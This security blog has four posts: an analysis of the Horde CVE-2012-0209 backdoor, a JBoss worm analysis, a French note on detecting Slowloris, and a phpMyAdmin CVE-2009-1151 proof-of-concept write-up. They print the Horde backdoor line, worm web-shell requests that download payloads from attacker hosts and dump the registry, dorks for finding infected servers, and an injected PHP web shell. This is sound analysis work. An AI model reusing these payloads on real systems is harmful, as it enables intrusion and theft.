Reverse Engineering

CVE-2012-0209 Horde backdoor analysis

2

The 13/02 Horde team has release a security alert concerning their products. An unknown intruder has hack the FTP server of Horde since minimum November 02 2011 and has manipulate three Horde releases to allow unauthenticated remote PHP execution. The intruder has maintain access to the servers until February 7. The issue is currently tracked through CVE-2012-0209.

The affected releases are:

  • Horde 3.3.12 downloaded between November 15 and February 7
  • Horde Groupware 1.2.10 downloaded between November 9 and February 7
  • Horde Groupware Webmail Edition 1.2.10 downloaded between November 2 and February 7

Horde 4 is not affected, the CVS and Git repositories seem to not be affected, but some Linux distributions how have download the code source from the Horde FTP server are affected. Horde team is providing version 3.3.13 for Horde, 1.2.11 for Horde Groupware and Horde Groupware Webmail Edition to remove the discovered backdoor and has also clean the FTP server.

After some researches, I found two vulnerable Linux distribution how are delivering the backdoored Horde 3.3.12. These distributions are Ubuntu precise, Debian wheezy and sid. Fedora Rawhide doesn’t seem to be impacted unless the distributed version is also 3.3.12, same for OpenSUSE 12.1. Gentoo, Mandriva and Slackware doesn’t seem to deliver this version. The impact through Linux distribution should be not so important. Only users how have download the source code from FTP are mainly affected.

The backdoor is located, for Horde 3.3.12, in the “templates/javascript/open_calendar.js” script.

link.href = '# php (isset($_COOKIE["href"]) && preg_match("/(.*):(.*)/", $_COOKIE["href"], $m))?$m[1]($m[2]):"";?>';

Take a look on the following Pastebin for the diff between a clean and a backdoored 3.3.12 version.

As you can see, if the cookie contain an array named “href” and if the content of the href variable look like to, for example, “shell_exec:’uname -a’“, the PHP function will be executed. Now that we have found the backdoor, how is this backdoor activated ?

All my previous analysis were false, after trying to exploit without success the backdoor, I have finally discover the vulnerable script.

The vulnerable script is “/services/javascript.php“. If you take a look a the script you can see that you need to do a POST request with two variables on the top of the necessary cookie.


$app = Util::getFormData('app', Util::nonInputVar('app'));
$file = Util::getFormData('file', Util::nonInputVar('file'));
if (!empty($app) && !empty($file) && strpos($file, '..') === false) {
$script_file = $registry->get('templates', $app) . '/javascript/' . $file;
if (file_exists($script_file)) {
$registry->pushApp($app, false);
$script = Util::bufferOutput('require', $script_file);
if ($send_headers) {
Horde::compressOutput();
header('Cache-Control: no-cache');
header('Content-Type: text/javascript');
}
echo $script;
}
}

app” variable is one of the application how is active on the Horde installation, the applications are configured in the “/config/registry.php” file.


$this->applications['horde'] = array(
'fileroot' => dirname(__FILE__) . '/..',
'webroot' => _detect_webroot(),
'initial_page' => 'login.php',
'name' => _("Horde"),
'status' => 'active',
'templates' => dirname(__FILE__) . '/../templates',
'provides' => 'horde',
);

file” variable should be the backdoored JavaScript file aka “open_calendar.js“. After that you have provide the two variables and the “href” cookie, the backdoor is executed. I have develop a PoC in order to exploit the backdoor. You can find this PoC on my Pastebin.

JBoss Worm Analysis in Details

8

GUERRILA7  has report, the 20 October that a JBoss worm circulate to compromise servers running older version of the JBoss Application Server. The JBoss worm discovered by GUERRILA7 target Windows JBoss installation. CVE-2010-0738, published the 26 April 2010, concern a weakness in the default setup of JMX console (/jmx-console/) access security restrictions. A remote attacker could, without any login and password, execute commands in the JBoss running user context, through crafted GET or POST HTTP requests.

Affected versions were :

  • JBoss Application Server (AS) 4.0.x
  • JBoss Communications Platform 1.2
  • JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
  • JBoss Enterprise Portal Platform (EPP) 4.3
  • JBoss Enterprise Web Platform (EWP) 5.0
  • JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0

By doing some Google dorking, in order to find the original source code of the worm, I found some infected JBoss servers. You can find here under a dorking list how will provide you some of these affected servers.

  • /zecmd/zecmd.jsp?comment=
  • /idssvc/idssvc.jsp?comment=
  • /iesvc/iesvc.jsp?comment=

Most of these dorks are present in JBoss status page and you can see some juicy commands executed through the “comment” parameter, like :

GET /zecmd/zecmd.jsp?comment=perl+lindb.pl HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0
GET /iesvc/iesvc.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0
GET /zecmd/zecmd.jsp?comment=cmd+dir HTTP/1.1
GET /zecmd/zecmd.jsp?comment=tftp+-i+93.182.154.67+GET+serv.exe+c:\srve.exe HTTP/1.1
GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+reg+save+HKLM%5CSYSTEM+%5Cwindows%5Ctemp%5Ct1%5C1.bin HTTP/1.1
GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+del+%5Cwindows%5Ctemp%5Ct1%5C*+%5Cinetpub%5Cwwwroot%5Cimages%5Clogo22.gif HTTP/1.1
GET /zecmd/zecmd.jsp?comment=netstat+-nl HTTP/1.1

After some time, I found an affected Linux server how reveal the details of one of the “*.tar.gz” file, in this analysis “javadd.tar.gz“.

javadd.tar.gz” contain these files :

bm.c / bm.h / pnscan.c / version.c / Makefile / install-sh / ipsort :

These file are part of Pnscan [pnsc] how is a multi-threaded port scanner with an extra capability to send and look for specific strings. These script need a compiler (gcc for Linux) to work. We will explain further how pnsc is used in the worm.

fly.pl : Source code

This file as described by GUERRILA7 is an IRC like script, but the connexions are done in HTTP mode on port 8080/TCP. The version I found contain more C&C servers, but actually all of them are down.

  • jboss.dyndns.biz is down.
  • webstats.twilightparadox.com point to a 127.0.0.1 IN A :)
  • weztatso.dyndns-remote.com is down.
  • jasuyeifd.dyndns.info is down.
  • chillbill.twilightparadox.com is down.
  • cents.dyndns-web.com point to a 127.0.0.2 IN A :)
  • The last C&C entry is more funny : its”.time().”s.dyndns.info. With this kind of entry you have a potential of billions of C&C servers :)

Owner of the C&C should have an nickname containing “iseee” to give orders to the remote affected JBoss server.

lindb.pl : Source code

This script will act as the major injection and propagation code. First of all, if the current JBoss running user is root, the script will call “treat.sh” script. I will describe further the usage of this script.

The script will try to compile the “pnscan” script and will then execute the “fly.pl” script. Through the “sudoku” variable (LOL), the script will then execute “pnscan“.

$sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6500 $partx.$party.0.0/16 80 > $fl";

pnscan” will try to find “JBoss” in the response string after submitting a HTTP HEAD request to random destination IPs in /16 range. All the results are saved into this file :

$fl="/tmp/sess_0088025413980486928597bf$partx";

After the execution of “sudoku“, the script open the results and try to find possible vulnerable targets how have return “JBoss” in response.

Here an attack is attempted by using the following payload (Source code), through another HTTP HEAD request to “/jmx-console/“. The decoded payload is a simple Java JSP backdoor form how allow command execution and result display (Source code).

Depending on the infection script the Java JSP script will be pushed into as “idssvc.war“, “zecmd.war” or “iesvc.war” on the server.

Once infected, the newly infected server will receive the order to execute “lindb.pl” through the Java JSP backdoor.

treat.sh : Source code

This script will be executed by “lindb.pl” and will try to download some additional scripts, not actually available, from some domains also presents in “fly.pl” script. But these downloads are done by a compiled C script, installed in the root directory as “.sysdbs” file and planned to be executed by cron at 01:01 AM the day 10 of the month.

echo '1 1 10 * * /root/.sysdbs' >> /tmp/myc
crontab /tmp/myc
rm /tmp/myc

So normally the 10 November at 01:01 AM the additional script should be downloaded by the actual inactive domains. I have analyze 4 Linux variant of these scripts and all have the same behaviors.

Slowloris indétectable ? Pas si sûre que cela.

0

Jusqu’à maintenant nous connaissons les DoS et les DDoS de bourrins, dont la technique principale est de remplir le tuyau pour rendre l’accès aux ressources impossibles. Ces techniques d’attaques n’étaient pas très discrètes et les contre-mesures difficilement possibles, à part par la mise en place de “IP Blackhole“, ou encore par le prise de contact avec le “carrier” afin de ne plus annoncer la route vers le serveur cible (ce qui revient à un auto DoS ….).

RSnake, un chercheur en sécurité informatique, de ha.ckers, a mis à disposition un outil de DoS lent nommé Slowloris permettant de rendre indisponible un serveur web HTTP d’un hôte cible à partir d’un seul hôte source et cela avec le minimum d’usage sur la bande passante et sur la performance globale du hôte cible.

Slowloris garde les connexions HTTP ouvertes en envoyant sur le serveur HTTP cible de requêtes partielles. A intervalle régulier Slowloris va continuer a envoyer des paquets afin d’empêcher le serveur web HTTP de clore les connexions ouvertes, ainsi le serveur web n’a pas la possibilité de répondre à des sollicitations légitimes.

Suivant le développeur de Slowloris, RSnake, et affirmé dans différents podcast, Slowloris serait quasiment indécelable et permettrait le DoS presque parfait. Malheureusement je n’était pas très convaincu de ces affirmations un peu hâtives. Il est vrai que RSnake avait signifié qu’un grand nombre de “sockets” sont ouverts, et que lors de la clôture de ces sockets, un grand nombre de logs sont disponibles par le biais du serveur web. Déjà trop d’indices pour que cela aussi discret que prétendu.

De bons administrateurs systèmes auront mis sous monitoring leurs serveurs web et seront avertis rapidement d’un DoS en cours sur un serveur web. Voici les empreintes d’une attaque pouvant provenir de Slowloris.

Un grand nombre de connexion ouvertes sur le serveur :

[root@fedora ~]# netstat -tan | awk -F " " '{print $4}' | grep xxx.xxx.xxx.xxx | grep 80 | wc -l
487

Un serveur web présentant un nombre de “fork” hors de la normale :

De nombreux messages d’erreurs dans logs d’erreurs HTTP :

De nombreux logs de connexions anormaux dans les logs d’accès HTTP :

Un monitoring des caractéristiques du serveur web qui devient indisponible :

Par le biais de tous ces indices il est clairement possible de détecter une attaque du type Slowloris et ainsi de bloquer rapidement la source de cette attaque.

POC PHPMyAdminRCE.sh CVE-2009-1151

0

Adrian Pastor membre de Gnucitizen a rendu public un POC (Proof Of Concept) pour la vulnérabilité CVE-2009-1151 de phpMyAdmin.

Cette vulnérabilité, identifiée sous l’ID PMASA-2009-3 chez le fournisseur phpMyAdmin, a été dévoilée le 24 Mars de cette année. Un internaute malveillant pourrait, de façon distante, par le biais de cette vulnérabilité compromettre un système. De l’injection de code dans le script “scripts/setup.php” peut permettre la modification du fichier “config.inc.php”, afin d’y ajouter du code PHP aléatoire.

Cette vulnérabilité affecte toutes les versions de phpMyAdmin antérieure à la version 2.11.9.5 et 3.1.3.1. La mise à jour vers la version 2.11.9.5 ou 3.1.3.1 corrige cette vulnérabilité.

Le POC de Gnucitizen, ne fonctionne que pour les versions 2.11.4, 2.11.7, 2.11.7.1, 2.11.9.3, 2.11.9.4, 3.0.0 et 3.0.1.1 de phpMyAdmin, et si l’installation a été effectuée en utilisant l’interface d’installation de phpMyAdmin “scripts/setup.php”. De plus, afin d’être exploitée, cette vulnérabilité requiert que l’administrateur n’est pas supprimé le répertoire “config/” présent dans phpMyAdmin. Ce répertoire “config/” doit être accessible en écriture par le démon HTTP.

De plus, si le nom de la session “phpMyAdmin”, configurée par défaut, a été changée, le POC ne fonctionnera pas aussi.

Quoi qu’il en reste, ce script bash n’est qu’un POC, et il est certain que des versions plus élaborées et robotisées verront le jour d’ici peu.

Il est aussi à noter que ce POC peut aussi s’appliquer à la vulnérabilité CVE-2009-1285.

Ci-dessous le fichier de configuration type de phpMyAdmin.

[xxxxx@xxxxx config]# cat config.inc.php
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:52:48 GMT
*/

/* Servers configuration */
######i = 0;

/* Server localhost (cookie) [1] */
######i++;
######cfg['Servers'][$i]['host'] = 'localhost';
######cfg['Servers'][$i]['extension'] = 'mysql';
######cfg['Servers'][$i]['port'] = '3306';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'cookie';

/* End of servers configuration */

######cfg['blowfish_secret'] = '4a30e1f84afb18.56788245';
?>

Résultat lorsque la tentative d’exploitation est OK.

[xxxxx@xxxxx exploits]# ./phpmyadminrcesh.txt http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpmyadminrcesh.txt.14594.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?c=ls+-l+/

http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?p=phpinfo();

please send any feedback/improvements for this script to unknown.pentester<AT_sign__here>gmail.com

Fichier de configuration config.inc.php modifié après exploitation.

<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:54:21 GMT
*/

/* Servers configuration */
######i = 0;

/* Server  (config:root) [1] */
######i++;
######cfg['Servers'][$i]['host']='

';
if($_GET['c']){
echo '<pre>';
system($_GET['c']);
echo '</pre>';
}

if($_GET['p']){
echo '<pre>';
eval($_GET['p']);
echo '</pre>';
};

//'] = 'localhost';

######cfg['Servers'][$i]['extension'] = 'mysqli';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'config';
######cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Get Adobe Flash player
Go to Top